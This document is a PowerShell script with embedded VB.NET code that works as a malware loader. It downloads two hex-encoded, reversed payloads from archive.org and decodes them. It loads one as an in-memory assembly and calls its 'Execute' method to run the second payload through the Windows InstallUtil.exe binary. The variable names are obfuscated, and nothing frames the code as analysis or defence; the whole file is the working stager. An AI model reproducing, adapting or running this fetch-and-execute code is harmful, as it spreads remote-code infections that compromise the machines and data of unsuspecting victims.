$code = @"
Imports System
Imports System.Net
Imports System.Collections.Generic
Imports System.Reflection

Namespace attack
    Public Class hacker

        Public Sub hackitup()



            Dim aagdihelked As String = "\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"

            Dim azsmljvdkjlfv6546sd As Assembly = AppDomain.CurrentDomain.Load(HexStrToByteArray(ReverseString(New WebClient().DownloadString("https://archive.org/download/Diplomatic/Diplomatic.txt"))))

            Dim clispojpdferf6546v As Byte() = HexStrToByteArray(ReverseString(New WebClient().DownloadString("https://archive.org/download/Diplomatser/Diplomatser.txt")))
            Dim lhlcvdqsklvjslvjlbvdk5454 As Object = New Object() {aagdihelked, clispojpdferf6546v}
            azsmljvdkjlfv6546sd.[GetType]("Toxic.MSMKLJKING").InvokeMember("Execute", BindingFlags.InvokeMethod, Nothing, Nothing, CType(lhlcvdqsklvjslvjlbvdk5454, Object()))

        End Sub
        Public Shared Function HexStrToByteArray(ByVal str As String) As Byte()
            Dim hexindex As Dictionary(Of String, Byte) = New Dictionary(Of String, Byte)()

            For i As Integer = 0 To 255
                hexindex.Add(i.ToString("X2"), CByte(i))
            Next

            Dim hexres As List(Of Byte) = New List(Of Byte)()

            For i As Integer = 0 To str.Length - 1 Step 2
                hexres.Add(hexindex(str.Substring(i, 2)))
            Next

            Return hexres.ToArray()
        End Function

        Public Shared Function ReverseString(ByVal s As String) As String
            Dim arr As Char() = s.ToCharArray()
            Array.Reverse(arr)
            Return New String(arr)
        End Function
    End Class
End Namespace
"@


    Add-Type -TypeDefinition $code -Language VisualBasic;

$instance = New-Object attack.hacker;
$instance.hackitup();





